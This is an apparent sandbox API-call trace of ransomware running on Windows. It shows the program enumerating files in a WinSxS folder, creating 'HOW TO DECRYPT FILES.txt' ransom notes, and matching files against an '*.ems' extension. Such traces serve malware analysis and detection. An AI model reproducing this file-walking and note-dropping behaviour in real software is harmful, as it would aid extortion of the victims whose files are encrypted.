lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.548] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.548] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.548] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.548] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.549] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.549] CloseHandle (hObject=0xffffffff) returned 0 [0165.549] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="default.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\default.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\default.aspx" [0165.549] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\default.aspx", pszSpec="*.ems") returned 0 [0165.549] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb038c5bc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb038c5bc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90af900b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="error.aspx", cAlternateFileName="ERROR~1.ASP")) returned 1 [0165.550] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.550] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="error.aspx") returned -1 [0165.550] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="error.aspx") returned 1 [0165.550] lstrcmpiA (lpString1="", lpString2="error.aspx") returned -1 [0165.551] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\default.aspx") returned="default.aspx" [0165.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.551] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.551] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.551] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.551] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.551] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.551] CloseHandle (hObject=0xffffffff) returned 0 [0165.551] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="error.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\error.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\error.aspx" [0165.552] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\error.aspx", pszSpec="*.ems") returned 0 [0165.552] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03b2719, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb03b2719, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90b1f169, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x551, dwReserved0=0x0, dwReserved1=0x0, cFileName="home0.aspx", cAlternateFileName="HOME0~1.ASP")) returned 1 [0165.552] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.552] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home0.aspx") returned -1 [0165.552] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home0.aspx") returned 1 [0165.552] lstrcmpiA (lpString1="", lpString2="home0.aspx") returned -1 [0165.552] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\error.aspx") returned="error.aspx" [0165.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.552] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.552] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.552] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.552] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.553] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.553] CloseHandle (hObject=0xffffffff) returned 0 [0165.553] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="home0.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home0.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home0.aspx" [0165.553] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home0.aspx", pszSpec="*.ems") returned 0 [0165.553] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03d8876, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb03d8876, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90b452c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="home1.aspx", cAlternateFileName="HOME1~1.ASP")) returned 1 [0165.553] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.553] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home1.aspx") returned -1 [0165.553] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home1.aspx") returned 1 [0165.553] lstrcmpiA (lpString1="", lpString2="home1.aspx") returned -1 [0165.554] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home0.aspx") returned="home0.aspx" [0165.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.554] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.554] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.554] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.554] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.554] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.554] CloseHandle (hObject=0xffffffff) returned 0 [0165.554] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="home1.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home1.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home1.aspx" [0165.554] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home1.aspx", pszSpec="*.ems") returned 0 [0165.555] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb044ac8d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb044ac8d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c29afb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="home2.aspx", cAlternateFileName="HOME2~1.ASP")) returned 1 [0165.555] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.555] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home2.aspx") returned -1 [0165.555] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home2.aspx") returned 1 [0165.555] lstrcmpiA (lpString1="", lpString2="home2.aspx") returned -1 [0165.555] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home1.aspx") returned="home1.aspx" [0165.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.555] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.555] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.555] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.555] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.555] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.555] CloseHandle (hObject=0xffffffff) returned 0 [0165.555] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="home2.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home2.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home2.aspx" [0165.556] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home2.aspx", pszSpec="*.ems") returned 0 [0165.556] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6edfd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0b6edfd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90f497b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x22d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="navigationBar.ascx", cAlternateFileName="NAVIGA~1.ASC")) returned 1 [0165.556] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.556] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="navigationBar.ascx") returned -1 [0165.556] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="navigationBar.ascx") returned -1 [0165.556] lstrcmpiA (lpString1="", lpString2="navigationBar.ascx") returned -1 [0165.556] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\home2.aspx") returned="home2.aspx" [0165.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.556] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.556] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.556] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.556] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.557] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.557] CloseHandle (hObject=0xffffffff) returned 0 [0165.557] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="navigationBar.ascx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\navigationBar.ascx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\navigationBar.ascx" [0165.557] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\navigationBar.ascx", pszSpec="*.ems") returned 0 [0165.557] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb14f453d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb14f453d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9481e1f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config", cAlternateFileName="WEB~1.CON")) returned 1 [0165.557] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.557] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web.config") returned -1 [0165.557] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web.config") returned -1 [0165.557] lstrcmpiA (lpString1="", lpString2="web.config") returned -1 [0165.557] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\navigationBar.ascx") returned="navigationBar.ascx" [0165.557] lstrcpyA (in: lpString1=0x407019, 